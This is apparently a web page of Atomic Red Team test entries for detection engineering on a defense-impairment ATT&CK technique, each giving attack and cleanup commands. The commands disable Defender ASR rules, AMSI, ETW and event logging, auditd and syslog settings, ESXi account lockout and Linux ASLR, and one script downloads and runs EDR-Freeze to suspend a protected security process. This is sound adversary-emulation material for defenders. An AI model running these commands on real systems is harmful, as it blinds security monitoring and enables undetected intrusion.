Set-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows Defender\MpEngine" -Name "MpEnablePus" -Value 1 
Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\App and Browser protection" -Name "DisallowExploitProtectionOverride" -Value 1 
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Name "TamperProtection"  -Value 1
Set-ItemProperty "HKLM:\software\microsoft\windows defender\spynet" -Name "SubmitSamplesConsent" -Value 1 
Set-ItemProperty "HKLM:\Software\Microsoft\Windows Defender" -Name "PUAProtection" -Value 1

GUID2eec1c4e-9540-453f-92a9-47eeb190ea4c

53 ESXi - Disable Account Lockout Policy via PowerCLI linux PowerShell Required 1 —

An adversary may disable account lockout policy within ESXi to have the ability to prevent defensive actions from being enforced in the future or to prevent future alerting.

Input arguments

Name	Type	Default	Description
vm_host	string	atomic.local	Specify the host name of the ESXi Server
vm_pass	string	pass	Specify the privilege user password on ESXi Server
vm_user	string	root	Specify the privilege user account on ESXi Server

Attack command

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-AdvancedSetting -Entity #{vm_host} -Name 'Security.AccountLockFailures' | Set-AdvancedSetting -Value '0' -Confirm:$false
Disconnect-VIServer -Confirm:$false

Prerequisite

Check if VMWARE PowerCLI PowerShell Module is installed.

Check

$RequiredModule = Get-Module -Name VMware.PowerCLI -ListAvailable
if (-not $RequiredModule) {exit 1}

Satisfy

Install-Module -Name VMware.PowerCLI -Confirm:$false

GUID4a9adb7e-22ec-44b9-9aea-4a047ea8e577

54 Delete Microsoft Defender ASR Rules - InTune windows PowerShell Required — —

This test simulates the deletion of the ASR rules loaded by Microsoft Defender using the registry. Depending on the deployment, rules can be pushed either using GPO or InTune, This test simulates an InTune-based rules deployment.

Attack command

$registryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Policy Manager"

if (-not (Test-Path $registryPath)) {
  New-Item -Path $registryPath -Force
  Write-Host "Registry key created: $registryPath"
}

$registryValueName = "ASRRules"

if (Test-Path "$registryPath\$registryValueName") {
  Remove-ItemProperty -Path $registryPath -Name $registryValueName
  Write-Host "Registry value deleted: $registryValueName"
} else {
  New-ItemProperty -Path $registryPath -Name $registryValueName -PropertyType String -Value "36190899-1602-49e8-8b27-eb1d0a1ce869=1" -Force
  Write-Host "Registry value created: $registryValueName"
}


Remove-ItemProperty -Path $registryPath -Name $registryValueName
Write-Host "Registry value deleted: $registryValueName"

GUIDaabdb47b-e17f-4314-a42d-b8bdc26da1ac

55 Delete Microsoft Defender ASR Rules - GPO windows PowerShell Required — —

Attack command

$registryPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\Rules"

if (-not (Test-Path $registryPath)) {
    New-Item -Path $registryPath -Force
    Write-Host "Registry key created: $registryPath"
}

$newValueName = "36190899-1602-49e8-8b27-eb1d0a1ce869"
$newValueData = "1"
New-ItemProperty -Path $registryPath -Name $newValueName -PropertyType String -Value $newValueData -Force
Write-Host "Registry value created: $newValueName with data $newValueData"

Remove-ItemProperty -Path $registryPath -Name $newValueName
Write-Host "Registry value deleted: $newValueName"

GUID839b041e-6f22-4eb0-83f8-b0711772cd98

56 AMSI Bypass - Create AMSIEnable Reg Key windows PowerShell Required — Yes

Threat Actor could disable the AMSI function by adding a registry value name “AmsiEnable” to the registry key “HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable” and set its value to 0. Ref: https://mostafayahiax.medium.com/hunting-for-amsi-bypassing-methods-9886dda0bf9d

Attack command

New-Item -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Name "AmsiEnable" -Value 0 -PropertyType DWORD -Force | Out-Null

Cleanup command

Remove-Item -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Recurse -Force 2> $null

GUID931cef27-5efa-46cb-8834-090275050afa

57 Disable EventLog-Application Auto Logger Session Via Registry - Cmd windows cmd Required — Yes

This atomic simulates an activity where an attacker disables the EventLog-Application ETW Auto Logger session using the reg.exe utility to update the Windows registry value "Start". This would effectivly disable the Event log application channel. The changes would only take effect after a restart.

Attack command

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application" /v "Start" /t REG_DWORD /d "0" /f

Cleanup command

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application" /v "Start" /t REG_DWORD /d "1" /f

GUIDedfb67c9-3616-4350-b173-d4d7f001745f

58 Disable EventLog-Application Auto Logger Session Via Registry - PowerShell windows PowerShell Required — Yes

This atomic simulates an activity where an attacker disables the EventLog-Application ETW Auto Logger session using the powershell.exe "New-ItemProperty" cmdlet to update the Windows registry value "Start". This would effectivly disable the Event log application channel. The changes would only take effect after a restart.

Attack command

New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application -Name Start -Value 0 -PropertyType "DWord" -Force

Cleanup command

New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application -Name Start -Value 1 -PropertyType "DWord" -Force

GUID37f6091a-212f-4ecd-beb2-4e5884e9ea85

59 Disable EventLog-Application ETW Provider Via Registry - Cmd windows cmd Required — Yes

This atomic simulates an activity where an attacker disables a specific ETW provider from the EventLog-Application ETW Auto Logger session using the reg.exe utility to update the Windows registry value "Enabled". This would effectivly remove that provider from the session and cause to not emit any logs of that type. The changes would only take effect after a restart.

Input arguments

Name	Type	Default	Description
ETWProviderGUID	string	{B6D775EF-1436-4FE6-BAD3-9E436319E218}	Microsoft-Windows-SenseIR ETW Provider GUID

Attack command

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}" /v "Enabled" /t REG_DWORD /d "0" /f

Cleanup command

reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}" /v "Enabled" /t REG_DWORD /d "1" /f

GUIDf500bafe-b013-4da5-a26e-2a4ea350f340

60 Disable EventLog-Application ETW Provider Via Registry - PowerShell windows PowerShell Required — Yes

This atomic simulates an activity where an attacker disables a specific ETW provider from the EventLog-Application ETW Auto Logger session using the powershell.exe "New-ItemProperty" cmdlet to update the Windows registry value "Enabled". This would effectivly remove that provider from the session and cause to not emit any logs of that type. The changes would only take effect after a restart.

Input arguments

Name	Type	Default	Description
ETWProviderGUID	string	{B6D775EF-1436-4FE6-BAD3-9E436319E218}	Microsoft-Windows-SenseIR ETW Provider GUID

Attack command

New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}" -Name Enabled -Value 0 -PropertyType "DWord" -Force

Cleanup command

New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\#{ETWProviderGUID}" -Name Enabled -Value 1 -PropertyType "DWord" -Force

GUID322f71e0-a09e-4526-bb67-47487e8f4c9c

61 Freeze PPL-protected process with EDR-Freeze windows PowerShell Required — Yes

This test utilizes the tool EDR-Freeze, which leverages the native Microsoft binary WerFaultSecure.exe to suspend processes protected by the Protected Process Light mechanism. PPL is a Windows security feature designed to safeguard critical system processes — such as those related to antivirus, credential protection, and system integrity — from tampering or inspection. These processes operate in a restricted environment that prevents access even from administrators or debugging tools, unless the accessing tool is signed and trusted by Microsoft. By using WerFaultSecure.exe, which is inherently trusted by the operating system, EDR-Freeze is able to bypass these restrictions and temporarily freeze PPL-protected processes for analysis or testing purposes.

Input arguments

Name	Type	Default	Description
processName	string	SecurityHealthService	PPL-protected process name to target

Attack command

# Enable SeDebugPrivilege
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

public class TokenAdjuster {
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out long lpLuid);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges,
        ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);

    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    public struct TOKEN_PRIVILEGES {
        public int PrivilegeCount;
        public long Luid;
        public int Attributes;
    }

    public const int SE_PRIVILEGE_ENABLED = 0x00000002;
    public const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
    public const uint TOKEN_QUERY = 0x0008;

    public static bool EnableSeDebugPrivilege() {
        IntPtr hToken;
        if (!OpenProcessToken(System.Diagnostics.Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken))
            return false;

        long luid;
        if (!LookupPrivilegeValue(null, "SeDebugPrivilege", out luid))
            return false;

        TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES();
        tp.PrivilegeCount = 1;
        tp.Luid = luid;
        tp.Attributes = SE_PRIVILEGE_ENABLED;

        return AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
    }
}
"@

$result = [TokenAdjuster]::EnableSeDebugPrivilege()
if ($result) {
    Write-Host "SeDebugPrivilege enabled successfully." -ForegroundColor Green
} else {
    Write-Host "Failed to enable SeDebugPrivilege." -ForegroundColor Red
    exit 1
}

# Get basic process info
$process = Get-Process -Name $#{processName} -ErrorAction Stop
$processName = $process.ProcessName
Write-Host "Process Name: $processName)"
Write-Host "PID: $($process.Id)"
        
# Get executable path and user info
$query = "SELECT * FROM Win32_Process WHERE Name = '$processName.exe'"
$wmiProcess = Get-WmiObject -Query $query

$owner = $wmiProcess.GetOwner()
    Write-Host "User: $($owner.Domain)\$($owner.User)"


# Get the folder of the current script
$scriptFolder = Split-Path -Parent $MyInvocation.MyCommand.Definition

# Download latest EDR-Freeze package and extract (force replace)
$downloadUrl = "https://github.com/TwoSevenOneT/EDR-Freeze/releases/download/main/EDR-Freeze_1.0.zip"
$zipPath = Join-Path $scriptFolder "EDR-Freeze_1.0.zip"
Write-Host "Downloading latest EDR-Freeze from $downloadUrl" -ForegroundColor Cyan
try {
    Invoke-WebRequest -Uri $downloadUrl -OutFile $zipPath -UseBasicParsing -ErrorAction Stop
    Write-Host "Download completed: $zipPath" -ForegroundColor Green
    $extractFolder = $scriptFolder
    if (Test-Path $zipPath) {
        Write-Host "Extracting archive to $extractFolder (overwriting existing files)" -ForegroundColor Cyan
        if (Test-Path $extractFolder) {
            # Ensure target exe not locked; attempt to stop any running instance silently
            Get-Process -Name "EDR-Freeze_1.0" -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue
        }
        Add-Type -AssemblyName System.IO.Compression.FileSystem 2>$null
        # Custom extraction routine (overwrite existing) compatible with .NET Framework (no bool overwrite overload)
        $archive = $null
        try {
            $archive = [System.IO.Compression.ZipFile]::OpenRead($zipPath)
            foreach ($entry in $archive.Entries) {
                if ([string]::IsNullOrWhiteSpace($entry.FullName)) { continue }
                if ($entry.FullName.EndsWith('/')) { # directory entry
                    $dirPath = Join-Path $extractFolder $entry.FullName
                    if (-not (Test-Path $dirPath)) { New-Item -ItemType Directory -Path $dirPath -Force | Out-Null }
                    continue
                }
                $destPath = Join-Path $extractFolder $entry.FullName
                $destDir = Split-Path $destPath -Parent
                if (-not (Test-Path $destDir)) { New-Item -ItemType Directory -Path $destDir -Force | Out-Null }
                if (Test-Path $destPath) { Remove-Item -Path $destPath -Force -ErrorAction SilentlyContinue }
                try {
                    # Use static extension method (PowerShell 5.1 compatible)
                    [System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $destPath, $false)
                } catch {
                    Write-Host "Failed to extract entry $($entry.FullName): $_" -ForegroundColor Yellow
                }
            }
            Write-Host "Extraction completed." -ForegroundColor Green
        } finally {
            if ($archive) { $archive.Dispose() }
        }
    }
} catch {
    Write-Host "Failed to download or extract EDR-Freeze: $_" -ForegroundColor Red
}

# Wait 15s before putting targeted process before putting it in the comma
Write-Host "Waiting 15s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 5
Write-Host "Waiting 10s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 5
Write-Host "Waiting 5s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 3
Write-Host "Waiting 2s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 2

# Put targeted  process in the comma for 15s
# Discover the EDR-Freeze executable dynamically (pick most recent if multiple)
$edrFreezeExeName = Get-ChildItem -Path $scriptFolder -Filter 'EDR-Freeze_*.exe' -ErrorAction SilentlyContinue |
    Sort-Object LastWriteTime -Descending |
    Select-Object -First 1 -ExpandProperty Name
if (-not $edrFreezeExeName) {
    Write-Host "No EDR-Freeze executable (EDR-Freeze_*.exe) found in $scriptFolder" -ForegroundColor Red
    exit 1
}

$edrFreezeExe = Join-Path $scriptFolder $edrFreezeExeName
Write-Host "Using EDR-Freeze executable: $edrFreezeExeName" -ForegroundColor Cyan
Write-Host "$processName putted in the comma for 15s, by targetting Process ID $($htaProcess.Id)" -ForegroundColor Yellow
Start-Process -FilePath $edrFreezeExe -ArgumentList ("$($process.Id) 15000") | Out-Null

Cleanup command

Remove-Item -Path $edrFreezeExe -Force -erroraction silentlycontinue
Write-Output "File deleted: $edrFreezeExe"

GUIDfa1d7200-0a31-4ec4-bad7-4c41000db88f

62 Disable ASLR Via sysctl parameters - Linux linux bash Required — Yes

Detects Execution of the sysctl command to set kernel.randomize_va_space=0 which disables Address Space Layout Randomization (ASLR) in Linux.

Attack command

sysctl -w kernel.randomize_va_space=0

Cleanup command

sysctl -w kernel.randomize_va_space=2

GUIDa8918e2a-a61f-46ad-930b-c14a615da387

63 Auditing Configuration Changes on Linux Host linux bash Required — Yes

Emulates modification of auditd configuration files

Input arguments

Name	Type	Default	Description
audisp_config_file_name	string	audispd.conf	The name of the audispd configuration file to be changed
auditd_config_file_name	string	auditd.conf	The name of the auditd configuration file to be changed
libaudit_config_file_name	string	libaudit.conf	The name of the libaudit configuration file to be changed

Attack command

sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}
if [ -f "/etc/#{auditd_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}
else sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}
fi 
sed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}

Cleanup command

sed -i '$ d' /etc/audisp/#{audisp_config_file_name}
if [ -f "/etc/#{auditd_config_file_name}" ];
then sed -i '$ d' /etc/#{auditd_config_file_name}
else sed -i '$ d' /etc/audit/#{auditd_config_file_name}
fi
sed -i '$ d' /etc/#{libaudit_config_file_name}

GUIDcc1de977-11e0-4832-af44-d1646875c302

64 Auditing Configuration Changes on FreeBSD Host linux sh Required — Yes

Emulates modification of auditd configuration files

Input arguments

Name	Type	Default	Description
auditd_config_file_name	string	audit_event	The name of the auditd configuration file to be changed

Attack command

echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name}

Cleanup command

sed -i "" '/#art_test_1562_006_1/d' /etc/security/#{auditd_config_file_name}

GUID7de8aff3-a123-4b3c-a023-56ba88b1de94

65 Logging Configuration Changes on Linux Host linux bash Required — Yes

Emulates modification of syslog configuration.

Input arguments

Name	Type	Default	Description
syslog_config_file_name	string	syslog.conf	The name of the syslog configuration file to be changed
rsyslog_config_file_name	string	rsyslog.conf	The name of the rsyslog configuration file to be changed
syslog_ng_config_file_name	string	syslog-ng.conf	The name of the syslog-ng configuration file to be changed

Attack command

if [ -f "/etc/#{syslog_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/#{syslog_config_file_name}
fi
if [ -f "/etc/#{rsyslog_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/#{rsyslog_config_file_name}
fi
if [ -f "/etc/syslog-ng/#{syslog_ng_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/syslog-ng/#{syslog_ng_config_file_name}
fi

Cleanup command

if [ -f "/etc/#{syslog_config_file_name}" ];
then sed -i '$ d' /etc/#{syslog_config_file_name}
fi
if [ -f "/etc/#{rsyslog_config_file_name}" ];
then sed -i '$ d' /etc/#{rsyslog_config_file_name}
fi
if [ -f "/etc/syslog-ng/#{syslog_ng_config_file_name}" ];
then sed -i '$ d' /etc/syslog-ng/#{syslog_ng_config_file_name}
fi

GUID076b7b0e-b069-4615-8c83-24c09905bc05

66 Logging Configuration Changes on FreeBSD Host linux sh Required — Yes

Emulates modification of syslog configuration.

Input arguments

Name	Type	Default	Description
syslog_config_file_name	string	syslog.conf	The name of the syslog configuration file to be changed

Attack command

if [ -f "/etc/#{syslog_config_file_name}" ];
then echo '#art_test_1562_006_2' >> /etc/#{syslog_config_file_name}
fi

Cleanup command

if [ -f "/etc/#{syslog_config_file_name}" ];
then sed -i "" '/#art_test_1562_006_2/d' /etc/#{syslog_config_file_name}
fi

GUID42465d31-ec7c-4675-bc8c-06958ad5c2f8

67 Disable Powershell ETW Provider - Windows windows PowerShell Required 1 Yes

This test was created to disable the Microsoft Powershell ETW provider by using the built-in Windows tool, logman.exe. This provider is used as a common source of telemetry in AV/EDR solutions.

Input arguments

Name	Type	Default	Description
session	string	EventLog-Application	The session to disable.
provider	string	Microsoft-Windows-Powershell	The provider to disable.
ps_exec_location	string	PathToAtomicsFolder\..\ExternalPayloads\pstools\PsExec.exe	Location of PSExec.

Attack command

cmd /c "#{ps_exec_location}" -accepteula -i -s cmd.exe /c logman update trace "#{session}" --p "#{provider}" -ets

Cleanup command

cmd /c "#{ps_exec_location}" -i -s cmd.exe /c logman update trace "#{session}" -p "#{provider}" -ets

Prerequisite

PSExec must be installed on the machine.

Check

if (Test-Path "#{ps_exec_location}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PStools.zip"
expand-archive -literalpath "PathToAtomicsFolder\..\ExternalPayloads\PStools.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\pstools" -force

GUIDcdfa35c4-e1f5-459a-b58a-d4ace90e198b

68 Disable .NET Event Tracing for Windows Via Registry (cmd) windows cmd Required — Yes

Disables ETW for the .NET Framework using the reg.exe utility to update the Windows registry

Attack command

REG ADD HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /t REG_DWORD /d 0

Cleanup command

REG DELETE HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /f > nul 2>&1

GUID390f6595-90d9-4250-ab90-d840155fe31a

69 Disable .NET Event Tracing for Windows Via Registry (powershell) windows PowerShell Required — Yes

Disables ETW for the .NET Framework using PowerShell to update the Windows registry

Attack command

New-ItemProperty -Path HKLM:\Software\Microsoft\.NETFramework -Name ETWEnabled -Value 0 -PropertyType "DWord" -Force

Cleanup command

REG DELETE HKLM\Software\Microsoft\.NETFramework /v ETWEnabled /f > $null 2>&1

GUID0ae9ad19-85bf-44b2-aed5-e13be2aae7d9

70 LockBit Black - Disable the ETW Provider of Windows Defender -cmd windows cmd Required — Yes

An adversary can disable the ETW Provider of Windows Defender, so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore. https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a

Attack command

reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" /v Enabled /t REG_DWORD /d 0 /f

Cleanup command

reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" /v Enabled /f >nul 2>&1

GUIDc2dfd51e-2d42-45d5-ba41-af2e9add7bc7

71 LockBit Black - Disable the ETW Provider of Windows Defender -Powershell windows PowerShell Required — Yes

Attack command

New-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" -Name Enabled  -PropertyType DWord -Value 0 -Force

Cleanup command

Remove-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" -Name Enabled -Force -ErrorAction Ignore

GUIDe71429b9-14e1-4cdd-abaf-a4a35df6698b

72 Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - Cmd windows cmd — — Yes

Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using the reg.exe utility. In order for changes to take effect a logout might be required.

Attack command

REG ADD HKCU\Environment /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f

Cleanup command

REG DELETE HKCU\Environment /v COMPlus_ETWEnabled /f > nul 2>&1

GUID793959a4-e148-40fe-8676-bff4713df97a

73 Disable .NET Event Tracing for Windows Via Environment Variable HKCU Registry - PowerShell windows PowerShell — — Yes

Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKCU registry using PowerShell. In order for changes to take effect a logout might be required.

Attack command

New-ItemProperty -Path HKCU:\Environment -Name COMPlus_ETWEnabled -Value 0 -PropertyType "String" -Force

Cleanup command

Remove-ItemProperty -Path HKCU:\Environment -Name COMPlus_ETWEnabled

GUID98eacf32-a87a-4338-bed0-a35a89aa81ee

74 Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - Cmd windows cmd Required — Yes

Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using the reg.exe utility. In order for changes to take effect a reboot might be required.

Attack command

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f

Cleanup command

REG DELETE "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v COMPlus_ETWEnabled /f > nul 2>&1

GUID59162cac-8b4f-4542-a570-415ec857c49e

75 Disable .NET Event Tracing for Windows Via Environment Variable HKLM Registry - PowerShell windows PowerShell Required — Yes

Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using PowerShell. In order for changes to take effect a reboot might be required.

Attack command

New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -Name COMPlus_ETWEnabled -Value 0 -PropertyType "String" -Force

Cleanup command

Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" -Name COMPlus_ETWEnabled

GUID7b66663e-7cfc-4d43-8ebc-269e21b4fcdd

76 Block Cybersecurity communication by leveraging Windows Name Resolution Policy Table windows PowerShell Required — Yes

Adversaries are redirecting DNS queries to an incorrect or malicious DNS server IP, thereby blocking legitimate communications and potentially compromising the security infrastructure. This atomic test aims to respond with 127.0.0.1 when a DNS query is made for endpoint.security.microsoft.com.

Attack command

Add-DnsClientNrptRule -Namespace ".endpoint.security.microsoft.com" -NameServers 127.0.0.1 -Comment "Silenced by Name Resolution Policy Table"
Add-DnsClientNrptRule -Namespace "endpoint.security.microsoft.com" -NameServers 127.0.0.1 -Comment "Silenced by Name Resolution Policy Table"
Clear-DnsClientCache

Cleanup command

try {
    # Get all current NRPT rules
        $DnsClientNrptRules = Get-DnsClientNrptRule | Where-Object { $_.Comment -eq 'Silenced by Name Resolution Policy Table' }
    
    # Remove each NRPT rule
        foreach ($rule in $DnsClientNrptRules) {
            Remove-DnsClientNrptRule -Name $rule.Name -Force
        }
    
    # Clear DNS client cache
    Clear-DnsClientCache
    Write-Host "All NRPT rules have been removed and the DNS cache has been cleared."
}

catch {
    Write-Host "An error occurred: $_"
}
Clear-DnsClientCache

GUIDcc70a04b-ceaa-41dc-80da-51137aaaf4ae

77 Throttle Cybersecurity Agent Network Traffic via QoS Policy windows PowerShell Required 1 Yes

This test simulates an adversary impairing security agent capabilities by applying Policy-Based Quality of Service (QoS) throttling rules to security agent processes. Unlike traditional evasion techniques (such as firewall-based blocking or process termination), this approach leverages native Windows functionality to degrade, rather than disable, defensive tooling: - Uses built-in Windows QoS features to manipulate application bandwidth - Limits network throughput to extremely low levels (e.g., 8 bits per second) - Causes security agents to repeatedly time out when attempting to communicate with their cloud backend As a result, telemetry ingestion, alerting, and remote response capabilities may be significantly degraded, while the agent itself continues to run and appear operational. This technique is inspired by research from Zero Salarium and the associated EDRChoker tool (https://www.zerosalarium.com/2026/06/edrchoker-choking-telemetry-stream-block-edr.html), which demonstrates how adversaries can exploit the reliance of modern EDR solutions on persistent, low-latency cloud connectivity to create a temporary loss of visibility without triggering traditional tampering detections.

Input arguments

Name	Type	Default	Description
process_name	string	MsSense.exe	Name of the process to throttle
throttle_rate	integer	8	Bandwidth limit in bits per second
net_qos_policy_name	string	CyberSecurityAgentThrottlingTest	Name of the Network QoS Policy to create then delete

Attack command

New-NetQosPolicy -Name "#{net_qos_policy_name}" `
  -AppPathNameMatchCondition "#{process_name}" `
  -ThrottleRateActionBitsPerSecond #{throttle_rate} `
  -PolicyStore ActiveStore

Cleanup command

Get-NetQosPolicy -PolicyStore ActiveStore | Where-Object { $_.Name -like "*#{net_qos_policy_name}*" } | Remove-NetQosPolicy -Confirm:$false

Prerequisite

Ensure PowerShell QoS cmdlets are available

Check

if (Get-Command New-NetQosPolicy -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }

Satisfy

Write-Host "QoS cmdlets are part of Windows; ensure running on supported version"

GUID1217a560-f961-484b-87a5-ef0ee0600963

Tests from Atomic Red Team (MIT licence) · technique definition

Disable or Modify Tools detections T1685

288 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 1%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs